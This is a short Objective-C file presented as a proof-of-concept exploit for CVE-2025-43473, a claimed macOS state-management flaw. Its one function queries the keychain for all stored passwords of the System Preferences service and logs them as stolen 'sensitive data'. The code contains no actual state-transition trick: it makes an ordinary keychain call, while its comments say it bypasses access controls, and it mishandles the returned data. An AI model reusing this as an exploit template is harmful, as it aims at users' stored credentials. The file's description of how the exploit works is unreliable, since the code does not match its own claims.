CVE-2025-43473

// CVE-2025-43473 PoC - macOS State Management Vulnerability // This PoC demonstrates the state management issue in macOS Tahoe 26.1 // Note: This is for educational purposes only #include <Foundation/Foundation.h> #include <Security/Security.h> // Attempt to access sensitive data through state management flaw void exploitStateManagement() { // Simulate app state transition that bypasses access controls NSString *targetApp = @"com.apple.SystemPreferences"; // State management vulnerability exploitation // The flaw allows unauthorized access during state transitions NSMutableDictionary *query = [NSMutableDictionary dictionary]; [query setObject:(__bridge id)kSecClassGenericPassword forKey:(__bridge id)kSecClass]; [query setObject:targetApp forKey:(__bridge id)kSecAttrService]; [query setObject:(__bridge id)kSecMatchLimitAll forKey:(__bridge id)kSecMatchLimit]; [query setObject:(__bridge id)kCFBooleanTrue forKey:(__bridge id)kSecReturnAttributes]; CFTypeRef result = NULL; OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef)query, &result); if (status == errSecSuccess && result != NULL) { NSLog(@"[+] Successfully accessed sensitive data through state management flaw"); NSLog(@"[+] Data: %@", (__bridge NSString *)result); } else { NSLog(@"[-] Access attempt failed: %d", (int)status); } } int main(int argc, const char * argv[]) { @autoreleasepool { NSLog(@"CVE-2025-43473 PoC - macOS State Management Vulnerability"); exploitStateManagement(); } return 0; }

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